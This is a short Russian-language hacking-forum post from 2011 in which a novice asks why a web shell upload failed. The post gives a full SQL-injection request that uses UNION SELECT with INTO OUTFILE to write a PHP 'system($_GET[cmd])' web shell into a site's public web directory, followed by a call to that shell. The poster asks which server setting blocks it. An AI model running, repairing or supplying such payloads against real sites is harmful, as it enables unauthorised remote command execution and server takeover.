09.11.2011, 14:40
|
|
Новичок
Регистрация: 03.05.2009
Сообщений: 7
С нами:
8960082
Репутация:
-14
|
|
Хочу залить шелл через SQL-injection. Нашел на сервере phpinfo. Знаю полный путь.
Запрос
Код:
http://www.site.com/index.php?=1&id=9999999+union+select+1,2,3,4,5,6,7,8,%3C?php%20system%28$_GET[%91cmd%92]%29%20?%3E,10+INTO+OUTFILE%20%27/home/site/public_html/1.php%27%20--
Запрос идет...открываю http://www.site.com/1.php?cmd=phpinfo {ничего не выводиться}
В чем ошибка? или я что-то упустил (в настройках сервера какую ту функцию) |
|
|